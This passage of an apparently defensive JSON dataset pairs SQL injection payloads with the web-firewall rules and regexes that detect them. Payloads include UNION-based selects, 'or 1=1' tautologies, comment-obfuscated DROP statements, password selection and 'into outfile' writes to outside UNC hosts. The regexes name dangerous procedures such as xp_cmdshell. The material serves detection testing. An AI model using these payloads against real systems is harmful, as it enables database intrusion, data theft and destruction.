"name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack: current_user" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "'msdasql'" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=EmptyValue into outfile '\\\\\\\\jviw6aoxefbjk0luyi6oiwjv5unittests.coreruleset.org\\\\xct'; --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "Data dump using 'into outfile'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=/config.ini' into outfile '\\\\\\\\il7vw9ew4e1iazbtohwn8v9uvl1hunitetests.coreruleset.org\\\\yxq'; --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "Data dump using 'into outfile'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=0.3480567293179807' UNION ALL select NULL --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "SQL injection using 'UNION ALL" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=config.ini\") UNION ALL select NULL --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "SQL injection using 'UNION ALL" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=CRS) UNION ALL select NULL --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "SQL injection using 'UNION ALL" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=CRS3\") UNION ALL select NULL --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "SQL injection using 'UNION ALL" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=overlay(password%20placing%20%27%27%20from%201%20for%200)::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "SQL injection using 'overlay(...placing..)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=overlay(password%0aplacing%0a%27%27%0afrom%201%20for%200)::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:d(?:bms_[0-9A-Z_a-z]+\\.|elete\\b[^0-9A-Z_a-z]*?\\bfrom)|(?:group\\b.*?\\bby\\b.{1,100}?\\bhav|overlay\\b[^0-9A-Z_a-z]*?\\(.*?\\b[^0-9A-Z_a-z]*?plac)ing|in(?:ner\\b[^0-9A-Z_a-z]*?\\bjoin|sert\\b[^0-9A-Z_a-z]*?\\binto|to\\b[^0-9A-Z_a-z]*?\\b(?:dump|out)file)|load\\b[^0-9A-Z_a-z]*?\\bdata\\b.*?\\binfile|s(?:elect\\b.{1,100}?\\b(?:(?:.*?\\bdump\\b.*|(?:count|length)\\b.{1,100}?)\\bfrom|(?:data_typ|from\\b.{1,100}?\\bwher)e|instr|to(?:_(?:cha|numbe)r|p\\b.{1,100}?\\bfrom))|ys_context)|u(?:nion\\b.{1,100}?\\bselect|tl_inaddr))\\b|print\\b[^0-9A-Z_a-z]*?@@)|(?:collation[^0-9A-Z_a-z]*?\\(a|@@version|;[^0-9A-Z_a-z]*?\\b(?:drop|shutdown))\\b|'(?:dbo|msdasql|s(?:a|qloledb))'", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942480", "test_description": "SQL injection using 'overlay(...placing..) with newlines" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=(((((())))))&var2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:[~!@#\\$%\\^&\\*\\(\\)\\-\\+=\\{\\}\\[\\]\\|:;\\\"'´’‘`<>][^~!@#\\$%\\^&\\*\\(\\)\\-\\+=\\{\\}\\[\\]\\|:;\\\"'´’‘`<>]*?){12})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "WARNING" }, "metadata": { "rule_id": "942430", "test_description": "Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=DROP%20sampletable%3b--" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=' or 1=1;%00" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=OR 1# " } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=admin'--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=DROP/*comment*/sampletable" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=DR/**/OP/*bypass deny listing*/sampletable" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=SELECT/*avoid-spaces*/password/**/FROM/**/Members" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=SELECT /*!32302 1/0, */ 1 FROM tablename" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=' or 1=1# " } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=‘ or 1=1-- -" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=‘ or 1=1/*" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "/\\*!?|\\*/|[';]--|--(?:[\\s\\x0b]|[^\\-]*?-)|[^&\\-]#.*?[\\s\\x0b]|;?\\x00", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942440", "test_description": "SQL Comment Sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=1='1' or-- -" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": 